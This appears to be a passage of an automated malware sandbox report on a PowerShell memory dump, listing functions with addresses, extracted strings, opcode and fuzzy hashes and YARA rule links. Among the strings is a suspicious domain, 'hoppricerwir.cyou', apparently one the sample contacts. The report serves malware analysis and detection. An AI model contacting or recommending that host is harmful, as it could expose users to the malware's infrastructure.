Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: 8<j?$D$4b
API String ID: 0-2390459867
Opcode ID: d59d36acd5cd2e828688b9d714447d50828384055e21535b96a5200c43e5d42a
Instruction ID: e8062cfa3f92b269e517a95a0a15263ae71e3fa69566e020a52e9e5137cfccfc
Opcode Fuzzy Hash: d59d36acd5cd2e828688b9d714447d50828384055e21535b96a5200c43e5d42a
Instruction Fuzzy Hash: 7281F86030C3928BD718CF3A946136BBBD19FD6314F69896EE4D68B381D27DC406875A

Function 00408F90 Relevance: 4.1, Strings: 3, Instructions: 304COMMON

Download Yara Rule

Strings

ut, xrefs: 004090E1
#=0, xrefs: 00408FC5
Z, xrefs: 004090E8

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: #=0$Z$ut
API String ID: 0-1971374411
Opcode ID: be4ac88b631f695b8da9113a151050db4f90e52ffa014f1e1e87b4b39f4c50ae
Instruction ID: eba545bab416a68370d8833e2e81319f1cd74d48ef4740c2d23370f5f56f4d51
Opcode Fuzzy Hash: be4ac88b631f695b8da9113a151050db4f90e52ffa014f1e1e87b4b39f4c50ae
Instruction Fuzzy Hash: 4681E23120C7829AD7058F39845026BBFE1AFA7314F1889AED4D1AB3C7D639C90AC756

Function 0042EBA1 Relevance: 4.0, Strings: 3, Instructions: 290COMMON

Download Yara Rule

Strings

8<j?, xrefs: 0042ED50
D, xrefs: 0042ED68
4b, xrefs: 0042EDDA

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: 8<j?$D$4b
API String ID: 0-2390459867
Opcode ID: 9551c1296e75a185e8b16465c2714311d826185385f0d2d897db6609d4c85006
Instruction ID: b31d7765b50fe5da72acd4eceaa3461b1016088ded1e177ce8b27f3ca53c8b68
Opcode Fuzzy Hash: 9551c1296e75a185e8b16465c2714311d826185385f0d2d897db6609d4c85006
Instruction Fuzzy Hash: 7E81E8602083918BD719CF3A946136BFFD29FE6314F6D496EE4D18B381D23CC5068B5A

Function 00442D20 Relevance: 4.0, Strings: 3, Instructions: 282COMMON

Download Yara Rule

Strings

bX_^, xrefs: 00442D22
D`a&, xrefs: 00442ED5
NMNO, xrefs: 00442E20

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID: D`a&$NMNO$bX_^
API String ID: 2994545307-620122162
Opcode ID: d03cab9050f5c78c9d30e93724225fc483688f4a7a3d75dd23dcc44aa94ff830
Instruction ID: 6e9e5fc7c2cb7ec0ed59593f00f51acd5d9bbc11244cb29e2d173750d6d6eb6d
Opcode Fuzzy Hash: d03cab9050f5c78c9d30e93724225fc483688f4a7a3d75dd23dcc44aa94ff830
Instruction Fuzzy Hash: 558167312083014FE318DF24DC8166BB7A2EBC5328F69862DE5A54B391DB79ED0AC759

Function 00414C20 Relevance: 3.5, Strings: 2, Instructions: 989COMMON

Download Yara Rule

Strings

NP,?, xrefs: 00415070
UA, xrefs: 004155D4

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: NP,?$UA
API String ID: 0-2573221895
Opcode ID: 9491bd0d9531d11faa535a3ad730ff5618a78aca76c905c6ffb5444850c007c8
Instruction ID: 7e2827b50fa6ca7fd58d98589243822aea337e03717d5c259c09a672e0419966
Opcode Fuzzy Hash: 9491bd0d9531d11faa535a3ad730ff5618a78aca76c905c6ffb5444850c007c8
Instruction Fuzzy Hash: 1F522475608310DBD714DF28DC82BAB73A2EBC6314F58463DF995872E1E738A846C789

Function 0042B170 Relevance: 2.9, Strings: 2, Instructions: 428COMMON

Download Yara Rule

Strings

{wBy, xrefs: 0042B538
?;;, xrefs: 0042B3AA

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: {wBy$?;;
API String ID: 0-3800777323
Opcode ID: a123bab271a1d998d3ce7fe47f5f1e38065024db7ba6e8586acdd6b882ccc835
Instruction ID: c7db1f9763108cdebf81104c4566820d91597438b4a38115d6d9003e34c696d3
Opcode Fuzzy Hash: a123bab271a1d998d3ce7fe47f5f1e38065024db7ba6e8586acdd6b882ccc835
Instruction Fuzzy Hash: 1AF1F1B4A08350DFD3159F28E89172BB7E1EF86308F484A6DF4D5872A2D3399901DB5A

Function 0040DFE2 Relevance: 2.8, Strings: 2, Instructions: 311COMMON

Download Yara Rule

Strings

hoppricerwir.cyou, xrefs: 0040E33F
UXY^, xrefs: 0040E295

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: UXY^$hoppricerwir.cyou
API String ID: 0-440382653
Opcode ID: 6a3e78332c11f0f55536a65cbe22653fee9e07ab791520d2a790fd43c4da64a1
Instruction ID: d4a14a9f2c2f0854964ffc34a88a484fd9aac6a31bc7c6ca58301aeff22ad83a
Opcode Fuzzy Hash: 6a3e78332c11f0f55536a65cbe22653fee9e07ab791520d2a790fd43c4da64a1
Instruction Fuzzy Hash: B79135B5504B418FD315CF2AC990622FBA2FF96300B188AACC0D24FB56C738E816CF95

Function 00427490 Relevance: 2.8, Strings: 2, Instructions: 284COMMON

Download Yara Rule

Strings

yr, xrefs: 004275CE
o~, xrefs: 004275E6

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: o~$yr
API String ID: 0-1013308823
Opcode ID: c9d48b95859aed5604db22a7b535e1b994fc6fc23f247b972c2d66fa384cb495
Instruction ID: 9949b5826033667454bdd212c251d03fc0b1eef30724b4879d74d6325ed2a79f
Opcode Fuzzy Hash: c9d48b95859aed5604db22a7b535e1b994fc6fc23f247b972c2d66fa384cb495
Instruction Fuzzy Hash: 48913975A0C3208BD320DF19D84066BBBE2EFD5324F09892DE9D95B391E7B8C905C786

Function 00428280 Relevance: 2.6, Strings: 2, Instructions: 70COMMON

Download Yara Rule

Strings

:7$%, xrefs: 004282C5, 004282F6
:7$%, xrefs: 00428375

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: :7$%$:7$%
API String ID: 0-2391988857
Opcode ID: f10387fb3a1dea8b0350fba9c1e9ca61dc6ddde05eb87b29ee48f7488e223d9f
Instruction ID: 0de6392d9aeb990522659998ecc2397938767f988235b0ae13ec08bed24327b9
Opcode Fuzzy Hash: f10387fb3a1dea8b0350fba9c1e9ca61dc6ddde05eb87b29ee48f7488e223d9f
Instruction Fuzzy Hash: BA21F1701093908BD7089B69C865B6FFBE4AB86318F105A2DE1D2872D1DBB48809CB82

Function 0044042D Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

vA\, xrefs: 0044049C
7&'$, xrefs: 00440445

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: 7&'$$vA\
API String ID: 0-2621209329
Opcode ID: f2599c7c96a7284751bba45eaee817ab4aef05cb3a374ec363b854a8fb74a6dc
Instruction ID: 095e66cfb836127910944c44464487434cf5069dbd9256ca3ed79a62a3e9a21d
Opcode Fuzzy Hash: f2599c7c96a7284751bba45eaee817ab4aef05cb3a374ec363b854a8fb74a6dc
Instruction Fuzzy Hash: 02F09C745145544BEB918F7C98996BF67F0F713214F302BB5C65AE32A2C634C8914F0C

Function 00422380 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

:;, xrefs: 004223AC

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: :;
API String ID: 0-3581617570
Opcode ID: 38bb8d2bb0249be200c9b932c820905daeff3536e5c246d5e79c9ec5abd04752
Instruction ID: a8ce0ab78c4be7f089376efb71ad2075c1d737e56b9c5b96f1916c659004ebff
Opcode Fuzzy Hash: 38bb8d2bb0249be200c9b932c820905daeff3536e5c246d5e79c9ec5abd04752
Instruction Fuzzy Hash: FCA11972605320ABD7109F24ED8276B73E0EF85358F88852EF8959B391E3BCDD05875A

Function 0043C5A0 Relevance: 1.6, Strings: 1, Instructions: 385COMMON

Download Yara Rule

Strings

NP,?, xrefs: 0043C7C0

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: NP,?
API String ID: 0-3110377521
Opcode ID: e21c3f46de4635fdf3f31fb185f31f0f008208232e111094c3f5046d81050f42
Instruction ID: f65ccde577a60585fc50111e68a200c88a0f1f1b3df19762a23bd62bb81c5e5c
Opcode Fuzzy Hash: e21c3f46de4635fdf3f31fb185f31f0f008208232e111094c3f5046d81050f42
Instruction Fuzzy Hash: 5DA18E75A083209BD324DF19CCC173BB3A6EBC9324F19962EE995673D1D738AC018799

Function 0041BEE1 Relevance: 1.6, Strings: 1, Instructions: 341COMMON

Download Yara Rule

Strings

'', xrefs: 0041C360, 0041C364

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: ''
API String ID: 0-694448769
Opcode ID: 3b0b746955fa4b0b429feefe4d7ac8e528ed3bbb5661132fa39252583aba68ff
Instruction ID: 51f56407e220038c845c571476400c53c6676d21aaa49407b98741bf0e440936
Opcode Fuzzy Hash: 3b0b746955fa4b0b429feefe4d7ac8e528ed3bbb5661132fa39252583aba68ff
Instruction Fuzzy Hash: 589124756483108BC3148F28CC912ABB7E2EFD5354F18D92DE8D58B391E778C945C79A

Function 00416ED0 Relevance: 1.6, Strings: 1, Instructions: 330COMMON

Download Yara Rule

Strings

*+, xrefs: 00417069

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: *+
API String ID: 0-2181965719
Opcode ID: 3410610abae8d48260fb0cfb57a2c63bba9af19cc751d7d22af9eb137d7409aa
Instruction ID: a6a176cfa994aee3612649f895d437fda5b17e7ce8ddb12fb8ae0738439bb6c9
Opcode Fuzzy Hash: 3410610abae8d48260fb0cfb57a2c63bba9af19cc751d7d22af9eb137d7409aa
Instruction Fuzzy Hash: 0BB177B15093818BD7318F25C8917EBBBF1EF96314F18892DD4C98B391EB384446CB8A

Function 00442470 Relevance: 1.5, Strings: 1, Instructions: 294COMMON

Download Yara Rule

Strings

_\]R, xrefs: 00442490

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID: _\]R
API String ID: 2994545307-1576797437
Opcode ID: 6f441cfad4cba6f0be0d6f27176a93416787b39250f9a30ac0dd3510510bcf37
Instruction ID: 67d2bc21efa779ec1b2302c596d4d55850990720b38256b1c81cc65d81c9891d
Opcode Fuzzy Hash: 6f441cfad4cba6f0be0d6f27176a93416787b39250f9a30ac0dd3510510bcf37
Instruction Fuzzy Hash: 729114315083119BD718DF28D9A0A2FB7E2EFD9314F59862DF48697391E774E802C78A

Function 004427B0 Relevance: 1.5, Strings: 1, Instructions: 247COMMON

Download Yara Rule

Strings

=^"\, xrefs: 004428B7

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: =^"\
API String ID: 0-2152245029
Opcode ID: e445ab259db55a56f96e6c3fd487a9156a8101182cc4e5d1dcc57f9bf1c041a6
Instruction ID: 31f6d952e69ddc92c57c3d15082e8394249c76af6de0d574896d183d93ceef01
Opcode Fuzzy Hash: e445ab259db55a56f96e6c3fd487a9156a8101182cc4e5d1dcc57f9bf1c041a6
Instruction Fuzzy Hash: 4281DE383052019BE724DF1CD990A2BB3E2EF89314F54866DF9858B3A0DB35EC51CB0A

Function 0042D830 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042DA2E

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: 6564e7b3ad14b453794cbf2f19722db2d5742acb1a2f8ce2a072c031a44184fe
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: 23710432F083254BD714CE28E88071FBBE2ABC5710FA9852EE4958B391D239DD45878A

Function 0041A900 Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

_;=8, xrefs: 0041AA58

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: _;=8
API String ID: 0-3640539833
Opcode ID: cde9169defac7f2d6903167d29639d2391a51efbddd28276b42fe9cde3aea7aa
Instruction ID: e58a9c241393c577c0dbf69e703309a02622358f74323d7420d86702d8d0d07f
Opcode Fuzzy Hash: cde9169defac7f2d6903167d29639d2391a51efbddd28276b42fe9cde3aea7aa
Instruction Fuzzy Hash: 245112B0521B008BC7249F25C8616B3BBF1EF52345B084E5DC4C38BB45E739A948CBA5

Function 00440BAB Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

}I\, xrefs: 00440CA6

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: }I\
API String ID: 0-3759065986
Opcode ID: df1d40a0c1601d316635205874302e9800cae571c9b88acd49baf0bd568f005e
Instruction ID: 06326f033c1d303d2a0c44ae50e6a95f42fac71f38a9198839615570ed5a6674
Opcode Fuzzy Hash: df1d40a0c1601d316635205874302e9800cae571c9b88acd49baf0bd568f005e
Instruction Fuzzy Hash: 653126605546928BEB258F34C8A27B7BBB0FF47310F144759C8C18B785EB78A992CB85

Function 00409E09 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

hoppricerwir.cyou, xrefs: 00409E0F

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: hoppricerwir.cyou
API String ID: 0-2019914888
Opcode ID: 4819dc0f6de97b22ad09cbe1b8aaee834e7d75527e88b13adc304dc11fbca5b5
Instruction ID: 764d9d3a4717be79920da73eaae230af95e7e9d95c2812270fe992c1b9b69a95
Opcode Fuzzy Hash: 4819dc0f6de97b22ad09cbe1b8aaee834e7d75527e88b13adc304dc11fbca5b5
Instruction Fuzzy Hash: 6FE09A389141058FC708CF58C862677B7B0EF0B301F14A06AD982EB3A0E3389D02C7AC

Function 00407620 Relevance: .6, Instructions: 612COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8bb466db5d070fb099be5cdb0fd94ca4abf5b60ced88e2066174f7cb2904948
Instruction ID: ccb3959594043c792932c0cfc7d39f61c3b1d77d2143a35f25ab615b2c98e1b5
Opcode Fuzzy Hash: a8bb466db5d070fb099be5cdb0fd94ca4abf5b60ced88e2066174f7cb2904948
Instruction Fuzzy Hash: 9812B432A0C7118BD725DF18D8806ABB3E1BFC4315F19893ED986A7385D738B8518B87

Function 00426C76 Relevance: .6, Instructions: 581COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0af6f60d34b4f0c8cbc000c65ea523940a6645594962f293f067da5df6a1c82
Instruction ID: d2e23a67c1903cd1e9c185385271eb72bcb916f6a4fd91b19e1fe5de6aa7faac
Opcode Fuzzy Hash: f0af6f60d34b4f0c8cbc000c65ea523940a6645594962f293f067da5df6a1c82
Instruction Fuzzy Hash: 4B122775B00226CBDB14CF68D8917AFB7B2FF8A300F5980A9C441AB3A5D7399D42DB54

Function 00441B20 Relevance: .5, Instructions: 485COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06681fd06d7842ada82dae78e60d469ed9d6c6833ec0578904e50dff9852b5ef
Instruction ID: 0c2c903ba8ab9d1616d7dcc2afe94072de716e40dc01c7b757aa9311b81398a3
Opcode Fuzzy Hash: 06681fd06d7842ada82dae78e60d469ed9d6c6833ec0578904e50dff9852b5ef
Instruction Fuzzy Hash: 41E1ED35609340CFD348CF68E89062BB7E2FB8A315F19897DE98687362D738E945CB45

Function 00405AB0 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e66362c8fb9e42a485a20769d13899b4c0de8f0fb50873082383503af3f25fbe
Instruction ID: c31a76099084191e3034c22a37ea28885ef806c0d431935db3893f7feff996f6
Opcode Fuzzy Hash: e66362c8fb9e42a485a20769d13899b4c0de8f0fb50873082383503af3f25fbe
Instruction Fuzzy Hash: 92F1DE356087418FC724CF29C88066BFBE6EFD9300F08882EE5D597791E679E845CB96

Function 00441BB0 Relevance: .4, Instructions: 434COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77e2c5d0afb397b189f10b5a8afc673ab41116975c883d7e1e0ede4eb514e053
Instruction ID: 324ad5c95dff1901f2f9d6c111dcb15fcefbb6efdba5ce0306a944ad1c6f7bef
Opcode Fuzzy Hash: 77e2c5d0afb397b189f10b5a8afc673ab41116975c883d7e1e0ede4eb514e053
Instruction Fuzzy Hash: F0D1EC35619341CFD348CF28D89062BB7E2EB8A315F09897DE98687362D738E945CB45

Function 00441C40 Relevance: .4, Instructions: 426COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f50f095729c1c5a2da103129e24be9725e6393a4e914a9abcda81a05e9b3429f
Instruction ID: dc21f79cdc73c015b7bd86b7114b814d04dcd303e05c17d6c0f759f64c7459c0
Opcode Fuzzy Hash: f50f095729c1c5a2da103129e24be9725e6393a4e914a9abcda81a05e9b3429f
Instruction Fuzzy Hash: D4D1ED356193408FD358CF38D89062BB7E2EBCA315F09897DE88687392D738E905CB46

Function 00427070 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c5e260bbbca016385c2ad2b967558c46a550ed8c3c6cb1b9b10346652956889
Instruction ID: 4e43b3032b5f77b82ebf5265758dd730748cf5b28328c74b298a748a547da810
Opcode Fuzzy Hash: 2c5e260bbbca016385c2ad2b967558c46a550ed8c3c6cb1b9b10346652956889
Instruction Fuzzy Hash: A2915635E04225DFDB15CFA8D8907AEB7B2FF4A300F9980A9D502AB351D739AD42CB44

Function 0042DBF0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e074d498d349d20c17923ebbca61cde330de8c03f771f91164867053bffb89f
Instruction ID: 3091657ee4cced5851ca4dbba440f74af0969c41cbc5f8964205a207b597f97a
Opcode Fuzzy Hash: 5e074d498d349d20c17923ebbca61cde330de8c03f771f91164867053bffb89f
Instruction Fuzzy Hash: 5771BAB450D3E08AE7358F25A59839BBFE1AFA3304F584A5DD0D90B392C735440ACB9B

Function 0042BBA0 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c674e0c62231f339c99bb2794b7516979f28c7009b980525353c599bf5cd72a3
Instruction ID: 8f9bf87213cc9725e7ca00057ce5f8087594d7d424e623d20a35489e4cd6523a
Opcode Fuzzy Hash: c674e0c62231f339c99bb2794b7516979f28c7009b980525353c599bf5cd72a3
Instruction Fuzzy Hash: 3861EA317186254BD7249D2DE8C026BB7D2EBC5330F99872EE4B49B3E5D7389C418789

Function 0041B484 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d108ec3c31a6e082106ec2641685d2f0cef7a999d2fab56a64d23736b280515b
Instruction ID: 00f4e2759825dcf10c6fc0e57a4f65ea5fa50f8fe0cbaea4274dafa2f605c2a9
Opcode Fuzzy Hash: d108ec3c31a6e082106ec2641685d2f0cef7a999d2fab56a64d23736b280515b
Instruction Fuzzy Hash: BA4128726147414BD3298B35C8A23B3BBA3EBA6304F1C846EC4D38B756DB3DA50B8754

Function 0041B667 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c7ccca648bacceba5ebfdb24a7e27f770f2e897686419ce5b318d0413d75915
Instruction ID: 6085e876b09a2a4ee967cc73ad16ecd698c2875847a3188e517866274535cc44
Opcode Fuzzy Hash: 3c7ccca648bacceba5ebfdb24a7e27f770f2e897686419ce5b318d0413d75915
Instruction Fuzzy Hash: 6E4129726547414BD32A8A35C8623B3BB93EBE2304F1C946EC4D387792D77D940B8354

Function 004418A0 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4a7be8d6558c3dd8f1df628cb5b2d23227bc2ad90207996850777d529df786d
Instruction ID: 26aced47306ba8243eb9efc204361966fa7a7ce3dd7d84c478a3f5587c373eec
Opcode Fuzzy Hash: d4a7be8d6558c3dd8f1df628cb5b2d23227bc2ad90207996850777d529df786d
Instruction Fuzzy Hash: AC514939A08311CFD7109F64D89026AB3E1FB8A315F0D847ED48997360D339D886CB4A

Function 00402210 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76e94ee5ef1ec981491ae59ea2b09b41901541db9a92759e325bf4aa5bc5ab3c
Instruction ID: 08a7e479931a5a61fa7b69175e4513341166876bb814eb369fc510c4807828e1
Opcode Fuzzy Hash: 76e94ee5ef1ec981491ae59ea2b09b41901541db9a92759e325bf4aa5bc5ab3c
Instruction Fuzzy Hash: 6651C1B19047019BD3109F389D4871BB7A4BB85338F14473DE8A9A73E1E378E915CB8A

Function 0043C9A0 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8993dec049cad01534afb22d68c957a81523db06934c9fb15a83bd426207b6a8
Instruction ID: a4b821128decaa172c514915c42a23315f051a59fcda10375df645c6c4b50b9f
Opcode Fuzzy Hash: 8993dec049cad01534afb22d68c957a81523db06934c9fb15a83bd426207b6a8
Instruction Fuzzy Hash: DF417C759043146BE310EF24ECC1B6BB7A4EF89708F10942EF985A7251E735EC04879A

Function 0040A05C Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5e5745a9e04c2a491c48c9e8dc2ff63359ea52b338f82eca13cde478cb73e3a
Instruction ID: 0879eb64182fa33bd680848163e7b412a319af03fbceb7a9ba4b6aa96abc02f2
Opcode Fuzzy Hash: e5e5745a9e04c2a491c48c9e8dc2ff63359ea52b338f82eca13cde478cb73e3a
Instruction Fuzzy Hash: 51416033B106518BC71C8E68C9923AAFBA3FB8A310B1E523EC955AB785D77C9C1147C4

Function 0041B243 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e063f326ffa53de25d0b9ba43cf0ed4dbc710327434a92a2670b2cdd79f8318c
Instruction ID: f81eb2cd5989d868f824b990d4dd2db3b11f7867acd7d29f2a686ef0f787acd2
Opcode Fuzzy Hash: e063f326ffa53de25d0b9ba43cf0ed4dbc710327434a92a2670b2cdd79f8318c
